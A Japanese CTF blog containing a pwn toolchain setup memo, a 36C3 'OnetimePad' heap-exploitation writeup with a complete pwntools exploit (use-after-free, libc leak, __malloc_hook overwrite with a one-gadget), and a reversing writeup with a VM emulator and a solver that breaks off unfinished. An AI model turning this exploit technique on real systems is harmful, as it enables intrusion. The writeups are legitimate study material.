newbieからバイナリアンへ

newbieからバイナリアンへ

コンピュータ初心者からバイナリアンを目指す大学生日記

【memo】 pwn環境構築の覚書

 

 

 

 

 

 

 

 

 1: イントロ

先日、VMが色々と詰まった外づけHDDの中身が失われてしまい

粛々とリインストールしているときに

折角の機会だからKaliもネイティブじゃなくてこっちに入れてしまおうと思いついた

こっちでもpwnができるように真っ白なkaliをセットアップしていたのだが

一々手作業でインストールするのが面倒だったため

インストールするものとスクリプト自分用覚書程度にまとめた

 

これで次に真っ白なPCでpwnをやりたいというときも簡単にできそうだ。。。

 

 

全部まとめたスクリプトがこちら

github.com




なお自分の環境は

Linux kalipc 5.3.0-kali3-amd64 #1 SMP Debian 5.3.15-1kali1 (2019-12-09) x86_64 GNU/Linux

 

2: gdb

sudo apt install gdb



3:pwndbg

 git clone https://github.com/pwndbg/pwndbg \0
 && cd pwndbg
 && ./setup.sh

 

4:checksec

 sudo apt install checksec

 

但し、このままだと表示が若干ややこしいため最初に示したリポジトリスクリプトを使ったほうがいいかも

これを使うと以下のように表示される

 

gyazo.com

これまでより表示が増えてなんか得した気分になるね

 

5: pwntools

sudo apt install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential \0
 && python3 -m pip install --upgrade pip \0
 && sudo python3 -m pip install --upgrade git+https://github.com/Gallopsled/pwntools.git@dev3 \0
 && sudo pip install --upgrade pwntools

6:rp

 sudo wget https://github.com/downloads/0vercl0k/rp/rp-lin-x64 -O /bin/rp \0
 && sudo chmod +x /bin/rp

 

7: exploitのテンプレ

 #!/usr/bin/env python
 #encoding: utf-8;
 
 from pwn import *
 import sys
 
 FILENAME = ""
 
 rhp2 = {'host':"localhost",'port':12300}
 context(os='linux',arch='')
 binf = ELF(FILENAME)
 
 def exploit(conn):
   pass
 
 
 if len(sys.argv)>1:
   if sys.argv[1][0]=="d":
     cmd = """
       set follow-fork-mode parent
     """
     conn = gdb.debug(FILENAME,cmd)
   elif sys.argv[1][0]=="r":
     conn = remote(rhp1["host"],rhp1["port"])
 else:
     conn = remote(rhp2['host'],rhp2['port'])
 exploit(conn)
 conn.interactive()

8: socatのテンプレ

 socat -v tcp-listen:12300,fork,reuseaddr exec:.

 

 

9: Ghidra

#JDK+11のインストール
 sudo apt install openjdk-13-jdk
 
 #Ghidraのインストール
 wget https://ghidra-sre.org/ghidra_9.1.1_PUBLIC_20191218.zip
 unzip ./ghidra_9.1.1_PUBLIC_20191218.zip
 ./ghidra_9.1_1_PUBLIC/ghidraRun
 #JDKのホームディレクトリを指定するよう促されるため、/usr/lib/jvm/java-11-openjdk-amd64/ を指定

 

 

 

 

続く

 

 

 

 

【pwn 17.0】 OnetimePad - 36C3 CTF

 

 

 

 

 

 

 

 

 1: イントロ

いつぞやの年末に行われたHXP主催の 36C3 CTF 2019

DEFCON Qualsらしい

本記事はpwnhardレベル問題 "Onetime Pad" のwriteupである

なお本問は heapパズル 問題である

 

f:id:smallkirby:20191230034124p:plain

 

すごくすごく眠いからあとで清書すること前提でメモ書きする

【追記:20191230】清書した




 

2: 表層解析

 

配布物

配布物は以下の3つ

 

・Dockerfile

Debian環境でlibcは2.28

ネイティブ環境と異なるlibcでのデバッグは3を参照

 

・onetimepad

問題のバイナリファイル

./onetimepad: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=fb5e2533e641b3debc2fac404e45cb053174361e, not stripped
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

 

 

・onetimepad.c

上のバイナリのCソースファイル 

 

 

問題バイナリはNSA(Non Specified Agency)が開発したメモ帳プログラム

一回読むと発火して読めなくなるそうです

pwn2winといい、設定が面白いのはいいですね



問題概要

メモ帳プログラムで以下の機能を持つ

write

メモ帳を生成する

メモ帳は.bssセクションのstruct onetimepad[8]で管理されており

インスタンスはメモの内容のbufへのポインタを持っている

重要なのは文字列の入力方法であり

readline()で一旦line bufに入力を受け付け

NULL終端した後にstrdup()して、コピーされた文字列へのポインタをonetimepadに保持する

詳しくは後述するが、この方法での入力によるexploit上の特徴は

・必ずNULL終端されるため1byte分非任意の書き込み(0x00)が生じる

・p64(addr1)+p64(addr2)のように途中にNULLを挟む入力はすることができない

 

read

"onetime"の名の由来となる部分
onetimepad[ix]の保持するbufを出力するが
出力の直後にこのbufがfree()される

 

また、onetimepadはメンバ変数に現在使用されているかどうかを示すis_inuseフラグをもっており

readを行いbufをfree()したあとにこのフラグをおろす

readはこのis_freeフラグが立っているものにしかおこなえない

 

rewrite

onetimepad[ix]のbufを書き換えることができる

これも入力の制約自体はwriteと同じである

.dataセクションの変数によってrewriteできるのは一度だけに制限されている

 

  

 

 

3: ネイティブ環境と異なるlibcでのデバッグ

本問のバイナリはlibc2.28で動く

LD_PRELOADでlibcを指定して動かそうとしたが上手くいかなかった

 

ものぐさなため途中まではネイティブ環境のlibc2.27で動かしてexploitを書いていたが

後述するように途中で不具合が生じたためちゃんと2.28を使うことにした

 

よって配布されたDockerfileでサーバを立ち上げてホストからgdbserverでアタッチしてデバッグしようとしたが

この方法では勿論 pwndbgのheapやbin等のコマンドが使えない

vanila gdbでpwnをしていた頃が懐かしいが今となってはこれらなしでやるのは非常に辛いため

Docker上にpwndbgを入れるようにした

 

自分は完全なるDocker素人のため環境構築はmoraさんにお願いした。。。

 

Dockerfile

# echo 'hxp{FLAG}' > flag.txt && docker build -t onetimepad . && docker run --cap-add=SYS_ADMIN --security-opt apparmor=unconfined -ti -p 31336:1024 onetimepad
FROM debian:buster
RUN useradd --create-home --shell /bin/bash ctf
WORKDIR /home/ctf
COPY ynetd /sbin/
COPY onetimepad flag.txt /home/ctf/
#  # Permission
#  7 rwx
#  6 rw-
#  5 r-x
#  4 r--
#  3 -wx
#  2 -w-
#  1 --x
#  0 ---
# sane defaults
RUN chmod 555 /home/ctf && \
    chown -R root:root /home/ctf && \
    chmod -R 000 /home/ctf/* && \
    chmod 500 /sbin/ynetd
# TODO: chmod all your files below!
RUN chmod 555 onetimepad && \
    chmod 444 flag.txt && \
    mv flag.txt flag_$(< /dev/urandom tr -dc a-zA-Z0-9 | head -c 24).txt
# check whitelist of writable files/folders
USER ctf
RUN (find --version && id --version && sed --version && grep --version) > /dev/null
RUN ! find / -writable -or -user $(id -un) -or -group $(id -Gn|sed -e 's/ / -or -group /g') 2> /dev/null | grep -Ev -m 1 '^(/dev/|/run/|/proc/|/sys/|/tmp|/var/tmp|/var/lock)'
USER root
RUN apt-get update && apt-get upgrade &&\
    apt-get -y install python2.7 python-pip python-dev git libssl-dev libffi-dev socat
##RUN pip install virtualenvwrapper &&\
#   export WORKON_HOME=$HOME/.virtualenvs &&\
#   export PROJECT_HOME=$HOME/Devel &&\
#   . /usr/local/bin/virtualenvwrapper.sh &&\
#   cd $HOMEDIR &&\
#   mkdir tools &&\
#   cd tools &&\
#   mkvirtualenv pwn &&\
RUN pip install --upgrade pwntools &&\
    #deactivate &&\
    git clone https://github.com/pwndbg/pwndbg &&\
    cd pwndbg &&\
    ./setup.sh
RUN apt-get install -y procps
# EXPOSE all your ports
EXPOSE 1024
# TODO: CMD your challenge
CMD ynetd -u ctf /home/ctf/onetimepad

 

build

sudo docker build . -t sugoiyatu

run

sudo docker run -p 3001:3001 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined -it sugoiyatu /bin/bash

shell上で

socat TCP-L:3001,reuseaddr,fork EXEC:./onetimepad &

 

あとはいつも通り3001ポートに向けてexploitコードを回していい感じのところで止めて

docker上でpwndbgを使ってデバッグすれば良い




4: 方針

さて、問題バイナリに戻る

 

とっかかりの脆弱性

rewriteに自明なUAFがある

( rewrite時にis_inuseを確認しないため、readした==free()したchunkに書き込むことができる)

 

但しrewriteにかかる制限がそのままUAFの制約になる

すなわち

・この方法でのUAFは1回しかできない ・・・①

・途中でNULLを挟むと入力が終わる・・・②

・最後がNULL終端される・・・③

 

 

libcbaseのleakとlibc2.27/28のunsortedの制約の差異

このUAFを利用して、まずlibcbaseのleakを目指す

 

まずheapのベースアドレスは下3nibbleが0x000で固定である

この先頭にIO bufが0x250のサイズで取られる

その下にreadline()で使用するline bufがとられる

このline bufのサイズは倍々 or 2の冪乗でとられる

(ソース読んでないから実験からの推測だけど。。。)

 

途中でline bufのサイズが足りなくなってrealloc()することになるとめんどくさいため

最初にline bufのサイズをかなり大きな値にして固定したい

このために一番最初に0x620サイズをmalloc()しておく・・・chunkA

 

その下にchunkB (0x570), chunkC(0x30), chunkD(0x30)をmalloc()する

そのあとB,D,Cの順にread(free)する

ここまでのheapの状態が以下の感じ

 

 

次にrewriteのUAFを利用してtcache0x30に繋がっているchunkCのfdを書き換える

この際NULL終端が必ず生じること(UAF制約③)と、ヒープアドレスで既知なのは下3nibbleだけであるということから

ガチャなしでいくためには下1byteをNULL overwriteするしかない

よってCのfdの下1byteを0x00にしてtcacheのリンクをずらし、上にあるchunkBの下の方を指すようにしておく

この状態でtcache0x30からchunkE, chunkFmalloc()する

 

次にunsortedに繋がっているchunkBから適切なサイズのchunkG (0x4f0) をmalloc()で削り取ることで

chunkFに近いところに残りカスunsortedのfdを生成する

この時事前にずらしたtcacheのリンク先(chunkFのfdが指す先)にちょうどunsortedのfdがくるように削り取るサイズは調整すること

 

ここまでを図示すると以下のようになる



 

するとchunkFのユーザ領域の先頭にunsortedが来ているから

Fをreadすることでmain_arena+96がleakできる 

 

今回はunsortedから切り出した残りカスが0x80になるから

free()されたchunkFはtcache0x80につながれる

ここでunsortedのfdとchunkFのfdは重複してしまっている+現在tcache0x80にはchunkが繋がっていないため

この両者のfdはNULLに書き換えられてしまう

 

 

このまま次のchunkをunsortedから切り出すと以下の部分でひっかかる

https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#3754

 

自分は慣れない環境でのデバッグを嫌ってlibc2.27環境でデバッグしていたのだが

2.27では最後のunsortedのfdがarena+96を指していなくてもよかったが

2.28ではこの整合性チェックが行われるようになったっぽいのでひっかかってしまった

 

同じチームのメンバーに状況だけを伝えると

やってることを教えただけで「そりゃあやばい状況」と2.28では上手く行かないことを一瞬で指摘してきたので、すげえなぁと思うと同時に、こういうバージョンごとにできること・できないこともちゃんと把握できるようにしないとだめだなと思いました まる

 

 

 

malloc_hook overwrite

ここで躓いているとmoraさんが解決策をくれた

すなわち先にunsortedをfreeしてからもう一度確保することでごまかした

この部分を図示すると以下のようになる

 

 

 

 

これでlibcbaseがわかった状態で任意のアドレスにchunkを置いて書き込むことができる

だがそのためには0x80サイズのchunkを取る必要があるのだが

前述したUAFの制約②により途中でNULLを入れることができず

inj=p64(target addr), inj+="A"*(0x70-len(inj))

のような入力にするとp64()の時点で入力が打ち切られてしまう

 

ここでウンウン唸っていると

moraさんが一瞬で以下のbypassを思いついた

すなわち、chunkを__malloc_hookの丁度上に置くのではなく

__malloc_hook - (0x70-len(target addr))に書き込み

入力を"A"*(0x70-len(target addr)) + p64(target addr)にすることで

入力が打ち切られた時点で丁度書き込み終了とすることができるというものである

こういうのを言われなくても自分ですぐ思いつくようにしたい

 

 

ただこの方法だとhookの上にあるデータを破壊してしまう

onegadgetのconstraintを避けるためにfree_hookの方をoverwriteしようとしたところ

free_hookの方には上に書き換えちゃいけないポインタがあったらしく

lock関係のところで永久ループに入りとまってしまった

 

ただlibc2.28環境ではたまたま

malloc_hookなら上のデータは破壊してもよい+onegadgetの制約を満たしているという好条件だったため

普通にmalloc_hook overwriteでいけた

 

 

 

 

5: exploit

#!/usr/bin/env python
#encoding: utf-8;

from pwn import *
import sys

FILENAME = "./onetimepad"

onegadgets = [0x4484f,0x448a3,0xe5456]

#online
#st = 1.0

#local
st = 0.1

arena_off = 0x1bbca0
malloc_hook_off = 0x1bbc30
free_hook_off = 0x1BD8E8

rhp1 = {"host":"88.198.154.140","port":31336}
rhp2 = {'host':"localhost",'port':3001}
context(os='linux',arch='amd64')
binf = ELF(FILENAME)

def _write(conn,content):
  conn.recvuntil("> ")
  conn.sendline("w")
  sleep(st)
  conn.sendline(content)

def _read(conn,idx):
  conn.recvuntil("> ")
  conn.sendline("r")
  sleep(st)
  conn.sendline(str(idx))

def _rewrite(conn,idx,content):
  conn.recvuntil("> ")
  conn.sendline("e")
  sleep(st)
  conn.sendline(str(idx))
  sleep(st)
  conn.sendline(content)



def exploit(conn):
  _write(conn,"A"*0x610) #0:とりあえずline bufを大きく取るため
  _write(conn,"B"*0x560) #1:to generate arena+96
  _write(conn,"C"*0x20) #2
  _write(conn,"D"*0x20) #3
 
  _read(conn,1)
  _read(conn,3)
  _read(conn,2)
  print("[+]read three times")


  _rewrite(conn,2,"")
  _write(conn,"E"*0x20) #1
  _write(conn,"F"*0x20) #2

  _write(conn,"G"*0x4e0) #3

  _read(conn,3)
  _read(conn,2)
  arena96 = unpack(conn.recvline()[:-1].ljust(8,'\x00'))
  print("[+]main_arena + 96: "+hex(arena96))
  libc_base = arena96 - arena_off 
  print("[+]libc_base: "+hex(libc_base))
  malloc_hook = libc_base + malloc_hook_off
  print("[+]malloc_hook: "+hex(malloc_hook))
  free_hook = libc_base + free_hook_off
  print("[+]free_hook: "+hex(free_hook))
  print("[+]onegadgets[0]: "+hex(libc_base + onegadgets[0]))

  _write(conn,"G"*0x4e0) #2
  _write(conn,p64(malloc_hook - (0x70-0x6))) #3
  print("[+]stage1 OK")
  _write(conn,"A"*0x70)
  print("[+]stage2 OK")
  
  inj = "A"*(0x70-0x6)
  inj += p64(libc_base + onegadgets[2])
  _write(conn,inj)

  raw_input("enter to continue")
  _write(conn,"GO!!")

if len(sys.argv)>1:
  if sys.argv[1][0]=="d":
    cmd = """
      set follow-fork-mode parent
    """
    conn = gdb.debug(FILENAME,cmd)
  elif sys.argv[1][0]=="r":
    conn = remote(rhp1["host"],rhp1["port"])
    st = 1.0
else:
    conn = remote(rhp2['host'],rhp2['port'])
exploit(conn)
conn.interactive()





6結果

 

f:id:smallkirby:20191230034146p:plain



 

 

 

 

7: アウトロ

自分がCTFを始めた今年最後のCTF

hard問をとれたことは嬉しかったが

hard要素がどこにもなく、明らかにdiffculty estimateのミスだと思う

だがそれにしては時間がかかりすぎたため

単純なheapパズルならば瞬殺できるようにしておきたい

あとdockerの使い方とかはいい加減覚えなさい

 

それよりも、初めてTSGの人と地下でオンサイトで解けたのが楽しかったです

mora先輩とスマブラもできました

来年はCTFに睡眠を破壊されないようにしたいですね

 

 

一瞬誰かを見習って2020年のpwn問全部解くをやろうと思ったんですが

この調子だと睡眠時間が無くなりそうなので無理っぽいです

ただできる限りはwriteupを見てもいいので解きたいですね






よいお年を

 

 

続く






【rev 1.0】 GlobalCecurityCamp2019 応募課題のwriteup - Reversing

 

 

 

 

【自動投稿 from 2019.11.27 to 2019.12.11.00:00】

本記事はTSG AdventCalender 2019のエントリとして書かれたものです

昨日(12/10)は iLiss さんによる「#sig-rhythm-game関連を1つ」でした

 

adventar.org

 

 

++++++++++++++++++++++++++

 

 

あどべんとかれんだぁを書くのは初めてで何を書けばいいのかわからないが

とりあえず予定のところに以下のように書いてしまった

 

f:id:smallkirby:20191127183341p:plain

 

 

 

というわけで

書いたものはしょうがないから上の予定のとおりに書き進めていく

 


 

 

 

 

 

 

 1: イントロ

今年の夏に一般社団法人セキュリティ・キャンプ協議会が主催したセキュリティキャンプ全国大会に参加した

その国際バージョンとしてGlobal Cecurity Camp:GCCが2020年2月に開催される

 

www.security-camp.or.jp

 

 

今年は東京で開催されることもあり参加が去年に比べて容易だし、何よりるくすさんのお話が聞けるチャンスのため参加しようと思ったが

この時期は大学の期末試験があったりとバタバタしていそうなのと

英語が全然できないため今回は参加を見送った

 

だが課題自体は面白そうだったため

提出こそしないものの自分で解いてみた

 

本記事は第三問目のReversingの問題のwriteupである

 

なお課題の提出期限は2019.12.9であり

本記事はその締切を待って予約投稿されている

ホームページを血眼で探したところ、writeupの公開を禁止する文言はどこにもなかったためこれを公開している

(締め切り前の公開を禁止している文言さえもなかったが、そこは常識的に考えた)

 

 

 

2: 問題概要

 VMGCCという名前でバイナリが渡される

バイナリの情報は以下の通り

./vmgcc: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=a19ce603ee59c9b2e72581a2441a47b2b1b8a831, stripped
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments
    FORTIFY:  Enabled

(別にpwnをするわけではないからセキュリティ機構とかどうでもいいといえばいいのだけれども。。。)

 

 

 

動かすと、flagの入力を求められる

 

f:id:smallkirby:20191128013101p:plain

welcome banner

 

Enter the flag: ABCDEFGHIKLMNOPQ
r0: 44434241  r1: 48474645  r2: 4d4c4b49  r3: 51504f4e  r4: 00000000  
r0: 44434241  r1: 48474645  r2: 4d4c4b49  r3: 51504f4e  r4: 41424344  
r0: 44434241  r1: 48474645  r2: 4d4c4b49  r3: 51504f4e  r4: 40424240  
r0: 41404044  r1: 48474645  r2: 4d4c4b49  r3: 51504f4e  r4: 40424240  
r0: 01020204  r1: 48474645  r2: 4d4c4b49  r3: 51504f4e  r4: 40424240  
r0: 01020204  r1: 48474645  r2: 4d4c4b49  r3: 51504f4e  r4: 45464748  
r0: 01020204  r1: 48474645  r2: 4d4c4b49  r3: 51504f4e  r4: 40464640  
r0: 01020204  r1: 41044748  r2: 4d4c4b49  r3: 51504f4e  r4: 40464640  
r0: 01020204  r1: 01420108  r2: 4d4c4b49  r3: 51504f4e  r4: 40464640  
r0: 01020204  r1: 01420108  r2: 4d4c4b49  r3: 51504f4e  r4: 494a4b4c  
r0: 01020204  r1: 01420108  r2: 4d4c4b49  r3: 51504f4e  r4: 49484b48  
r0: 01020204  r1: 01420108  r2: 494a404c  r3: 51504f4e  r4: 49484b48  
r0: 01020204  r1: 01420108  r2: 00020b04  r3: 51504f4e  r4: 49484b48  
r0: 01020204  r1: 01420108  r2: 00020b04  r3: 51504f4e  r4: 4d4e4f50  
r0: 01020204  r1: 01420108  r2: 00020b04  r3: 51504f4e  r4: 41404f40  
r0: 01020204  r1: 01420108  r2: 00020b04  r3: 4d424340  r4: 41404f40  
r0: 01020204  r1: 01420108  r2: 00020b04  r3: 0c020c00  r4: 41404f40  
r0: 01020204  r1: 01420108  r2: 0c000704  r3: 0c020c00  r4: 41404f40  
r0: 01020204  r1: 0d42060c  r2: 0c000704  r3: 0c020c00  r4: 41404f40  
r0: 0c400408  r1: 0d42060c  r2: 0c000704  r3: 0c020c00  r4: 41404f40  
Failed. Hint: https://www.youtube.com/watch?v=ZUXP9ZbPv9s

 

見るからに32bitレジスタと思わしきr0~r3に入力値が入れられ

いくつかの演算ののちに"Failed"と表示されhintとなるyoutubeのリンクが提供される

(このリンクにも飛んでみたが、1時間超えの動画だったこともありまだ見ていない

大学の試験終わったら見てみようかな)

 

ということで正しい入力値を探すことを目的としてバイナリを読んでいく

 (入力が16byteに限られているため脳死でangrに投げてやろうと思ったが、課題の内容自体にディスアセンブラを書くことが含まれていたためちゃんと解析した)

 

 

 

 

3: VMの構造

 このバイナリ自体はおそらくC++で書かれている気がする

ファイル名が示すとおり、内部で独自レジスタや独自命令を実装したVMになっている

以下ではそれらの仕組みを明らかにしていき、pythonエミュレータを構築することを目標にする

 

 

独自レジスタについて

使用される独自レジスタは以下の通り(命名は適当)

r0~r3レジスタ

32bit型のレジスタ。主に値の保持が目的となる。最初の入力値もここに代入される

r4レジスタ

32bit型のレジスタ。殆どr0~r3と差異はないが、作業用に頻繁に利用されており、また最初の入力値はここには代入されない

textレジスタ

後述する独自命令コードを指し示すポインタが格納される。最初に初期化された後はプログラム中で変更されることはない

pcレジスタ

次に実行する命令のtextレジスタからのオフセットを示す

 

これらは単にバイナリ中で変数として定義されている

 

 

 

 

独自命令

flagの判定を行う関数の直前でmemcpy()によって、newした 領域に命令バイトコードがコピーされ

そのアドレスをtextレジスタが保持する

命令は入力値に応じて動的に生成されるのかと思っていたが、どんな入力値に対しても一定であった

 

さて、text領域が保持する独自命令コードはは以下が全てである

(改行は見やすいように入れている)

pwndbg> x/100bx 0x5555557696f0
0x5555557696f0:	0x1a	0x04	0x44	0x43	0x42	0x41	
		0x0a	0x04    0x00	
		0x1a	0x00	0x44	0x40	0x40	0x41	
		0x0b    0x00	0x04	
		0x1a	0x04	0x48	0x47	0x46	0x45
0x555555769708:	0x0a	0x04	0x01	
		0x1a	0x01	0x48	0x47	0x04	0x41	
		0x0b	0x01	0x04	
		0x1a	0x04	0x4c	0x4b	0x4a	0x49	
		0x0a	0x04	0x02	
		0x1a	0x02	0x4c	0x40	0x4a	0x49	
		0x0b	0x02	0x04	
		0x1a	0x04	0x50	0x4f	0x4e	0x4d	
		0x0a	0x04	0x03	
		0x1a	0x03	0x40	0x43	0x42	0x4d	
		0x0b	0x03	0x04
0x555555769738:	0x0b	0x02	0x03	
		0x0b	0x01	0x02	
		0x0b	0x00	0x01	
		0xff	0x00	0x00

 

登場するオペコードは4種類であり、それぞれ異なるサイズのオペランドを取るCISC的な命令セットになっている

(懸念材料として、バイナリ中では5つのオペコードの処理を定義していたのだが、生成される命令列にはそのうちの一つが現れていなかった

 

以下では各種命令の説明を行う

0x1a 命令: copy immediate value

0a <代入先rレジスタのindex> <代入する即値4byte>

指定したrレジスタに4byteの即値を代入する命令

オペコード・ランド含めて6byteあるため実行後にpcを6インクリする

 

0x0a 命令: and

0a <andの相手兼代入先rレジスタのindex> <and元のrレジスタのindex>

2つのrレジスタ論理積をとって代入する

pcを3インクリする

 

0x0b 命令: xor

0b <xorの相手兼代入先rレジスタのindex> <xor元のrレジスタのindex>

2つのrレジスタ排他的論理和をとって代入する

pcを3インクリする

 

0x1b 命令: レジスタ代入

命令バイト中には現れていない

 

0xff 命令: authentication

シングルバイト命令

r0レジスタが32bitとも0であればr0レジスタに1を代入する

 

 

以上の命令はauth()関数の中で実行される

その周辺のデコンパイルコードは以下の通り

        init(l392_regs._0_24_,l392_regs.unk_addr);
        memcpy(l392_regs.unk_addr[0],3020a0_inst_ptr,3020a8_inst_bytenum);
        uVar3 = auth(&l392_regs,l128_inp);
        if ((char)uVar3 == '\0') {
            puts("Failed. Hint: https://www.youtube.com/watch?v=ZUXP9ZbPv9s");
        }
        else {
            puts("Success! You made it!");
        }

 

つまりauth()が1を返せば認証成功である

すなわち0xff命令の直前にr0レジスタが0になっていればよいということがわかった

 

 

 

 

 

4: エミュレータ

以上を踏まえてpythonで実装したこのVMエミュレータが以下である

 

# interpreter.py
#!/usr/bin/env python                                                                       
# -*- coding: utf-8 -*-
    
text = [
0x1a,0x04,0x44,0x43,0x42,0x41,
0x0a,0x4,0x0,
0x1a,0x0,0x44,0x40,0x40,0x41,
0x0b,0x00,0x04,
0x1a,0x04,0x48,0x47,0x46,0x45,
0xa,0x4,0x1,
0x1a,0x01,0x48,0x47,0x04,0x41,
0x0b,0x1,0x4,
0x1a,0x04,0x4c,0x4b,0x4a,0x49,
0x0a,0x4,0x2,
0x1a,0x02,0x4c,0x40,0x4a,0x49,
0xb,0x02,0x04,
0x1a,0x04,0x50,0x4f,0x4e,0x4d,
0xa,0x4,0x3,
0x1a,0x03,0x40,0x43,0x42,0x4d,
0xb,0x3,0x4,
0xb,0x2,0x3,
0xb,0x1,0x2,
0xb,0x0,0x1,
0xff]
counter = 0

def si(regs):
  global counter
  inst = text[counter]
  
  if inst==0x1a:
    rix = text[counter+1]
    a = ""
    for j in range(4):
      a += hex(text[counter+2 + (3-j)])[2:].rjust(2,'0')
    regs[rix] = int(a,16)
    
    counter += 6
    return regs

  if inst==0x0a:
    rdix = text[counter+1]
    rsix = text[counter+2]
    regs[rdix] = regs[rdix]&regs[rsix]

    counter += 3
    return regs

  if inst==0xb:
    rdix = text[counter+1]
    rsix = text[counter+2]
    regs[rdix] = regs[rdix]^regs[rsix]

    counter += 3
    return regs

  if inst==0xff:
    if regs[0]==0:
      return 1
    else:
      return 0

  print("inst "+hex(inst)+" is not implemented")
  return -1


def print_allregs(regs):
  for i in range(5):
    print("r"+str(i)+": "+hex(regs[i])[2:].rjust(8,"0"),end=" ")
  print()


print("input> ",end="")
inp = input()
regs = [0,0,0,0,0]
for i in range(4):
  if len(inp)<4:
    print("too few input")
    exit()
  a = ""
  for j in range(4):
    a += hex(ord(inp[3-j]))[2:]
  regs[i] = int(a,16)
  inp = inp[4:]



print_allregs(regs)
while True:
  a = si(regs)
  if type(regs)==type(a):
    print_allregs(regs)
  else:
    if(a==1):
      print("SUCCESS!!!")
      exit()
    else:
      print("FAIL")
      exit()



実際にフラグを流してみると以下のようになる

$ python3 ./interpreter.py 
input> ABCDEFGHIKLMNOPQ
r0: 44434241 r1: 48474645 r2: 4d4c4b49 r3: 51504f4e r4: 00000000 
r0: 44434241 r1: 48474645 r2: 4d4c4b49 r3: 51504f4e r4: 41424344 
r0: 44434241 r1: 48474645 r2: 4d4c4b49 r3: 51504f4e r4: 40424240 
r0: 41404044 r1: 48474645 r2: 4d4c4b49 r3: 51504f4e r4: 40424240 
r0: 01020204 r1: 48474645 r2: 4d4c4b49 r3: 51504f4e r4: 40424240 
r0: 01020204 r1: 48474645 r2: 4d4c4b49 r3: 51504f4e r4: 45464748 
r0: 01020204 r1: 48474645 r2: 4d4c4b49 r3: 51504f4e r4: 40464640 
r0: 01020204 r1: 41044748 r2: 4d4c4b49 r3: 51504f4e r4: 40464640 
r0: 01020204 r1: 01420108 r2: 4d4c4b49 r3: 51504f4e r4: 40464640 
r0: 01020204 r1: 01420108 r2: 4d4c4b49 r3: 51504f4e r4: 494a4b4c 
r0: 01020204 r1: 01420108 r2: 4d4c4b49 r3: 51504f4e r4: 49484b48 
r0: 01020204 r1: 01420108 r2: 494a404c r3: 51504f4e r4: 49484b48 
r0: 01020204 r1: 01420108 r2: 00020b04 r3: 51504f4e r4: 49484b48 
r0: 01020204 r1: 01420108 r2: 00020b04 r3: 51504f4e r4: 4d4e4f50 
r0: 01020204 r1: 01420108 r2: 00020b04 r3: 51504f4e r4: 41404f40 
r0: 01020204 r1: 01420108 r2: 00020b04 r3: 4d424340 r4: 41404f40 
r0: 01020204 r1: 01420108 r2: 00020b04 r3: 0c020c00 r4: 41404f40 
r0: 01020204 r1: 01420108 r2: 0c000704 r3: 0c020c00 r4: 41404f40 
r0: 01020204 r1: 0d42060c r2: 0c000704 r3: 0c020c00 r4: 41404f40 
r0: 0c400408 r1: 0d42060c r2: 0c000704 r3: 0c020c00 r4: 41404f40 
FAIL



もとのVMと全く同じ挙動をしていることがわかる

 


 

 

5: solverを考える

式を簡単にする

さて、入力値を求めることに話を戻そう

まず与えられた命令列を立式すると以下のようになる

r0=0x41404044^(inp0&inp0_rev)
r0=0x41404044^(0x41424344&inp0)
r1=0x41044748^(0x45464748&inp1)
r2=0x494a404c^(0x494a4b4c&inp2)
r3=0x4d424340^(0x4d4e4f50&inp3)
r0==(r1^r2^r3)

 

最後の式に全て代入すると以下のようになる

0x41404044^(0x41424344&inp0) == 450C4444^(0x41044748^(0x45464748&inp1) ^ 0x494a404c^(0x494a4b4c&inp2) ^ 0x4d424340^(0x4d4e4f50&inp3))

 

ここで排他的論理和には交換則が成り立つことを用いると以下のようになる

(0x41424344&inp0) == 044C0400^(0x45464748&inp1)^(0x494a4b4c&inp2)^(0x4d4e4f50&inp3)



結局はこの条件式を満たすinp0~inp3を考えるというつまらない問題に帰着した




solverの方針

以上を満たすsolverを考える

残っているのは全てbit演算であり、他のbitに対して何も影響しないため難しい話ではない

 

まずinp0は全て0xFFFFFFFFとしておき

inp1~inp3で条件式を満たすようなものがあるか考える

これで条件を満たすようなものがない場合にはinp0で調整していくこととする

 

inp0=0xFFFFFFFFと仮定したため、上の式は以下のようになる

0x450E4744 == (0x45464748&inp1)^(0x494a4b4c&inp2)^(0x4d4e4f50&inp3)

 

以下では右辺inpと論理積を取っている即値のことをim1~3と呼ぶ

右辺では入力値との論理積をとっていることから、bitを降ろすことは容易にできる

それからひとつの immediate value ^ inp においてとあるbitが立っていれば、他の項の対応するbitを降ろせば、三項の排他的論理和はONになる

 

よって、左辺の1つ1つのbitに対して

・bitが0なら、対応するinp1~3のbitを0にする

・bitが1なら、対応するinp1~3のbitの中で1のものをinp1から順に探していき、見つかったらそのimを1、他のimを0にする

という操作をしていけば良いことがわかる

 

但し左辺で立っているbitに対して、imd1~3のいずれも立っていない場合もあり得るため

その際にはinp0を調整していく必要がある

 

 

 

 

6: solver

以上の考えに基づいてpythonで書いたsolverが以下の通り

 

#!/usr/bin/env python
# -*- coding: utf-8 -*-


def rb(imd):
  return bin(imd)[2:].rjust(32,'0')

def pb(imd):
  print(rb(imd))

def hoge(n,m):
  a = ""
  b = ""
  ns = bin(n)[2:].rjust(32,'0')
  ms = bin(m)[2:].rjust(32,'0')
  for i in range(32):
    if ms[i]=='1' and ns[i]=='0':
      a += "1"
    else:
      a += "0"

    if ms[i]=='0' and ns[i]=='1':
      b += "0"
    else:
      b += "1"
  return int(a,2),int(b,2)


iml = 0x41424344
imr = 0x044c0400
imls = rb(iml)
imrs = rb(imr)
im = [0x45464748,0x494a4b4c,0x4d4e4f50]
ims = ["","",""]
for i in range(3):
  ims[i] = rb(im[i])
inp = [0xffffffff,0,0,0]
inps = ["","","",""]
for i in range(4):
  inps[i] = rb(inp[i])

imt = iml^imr
imts = rb(imt)
print("imts",imts)

for i in range(32):
  found = False
  if imts[i]=='0':
    for j in range(3):
      inps[j+1] = inps[j+1][:i]+'0'+inps[j+1][i+1:]
  else:
    for j in range(3):
      if ims[j][i]=='1': #該当するinpのbitだけをonにして他の2つをoffに
        found = True
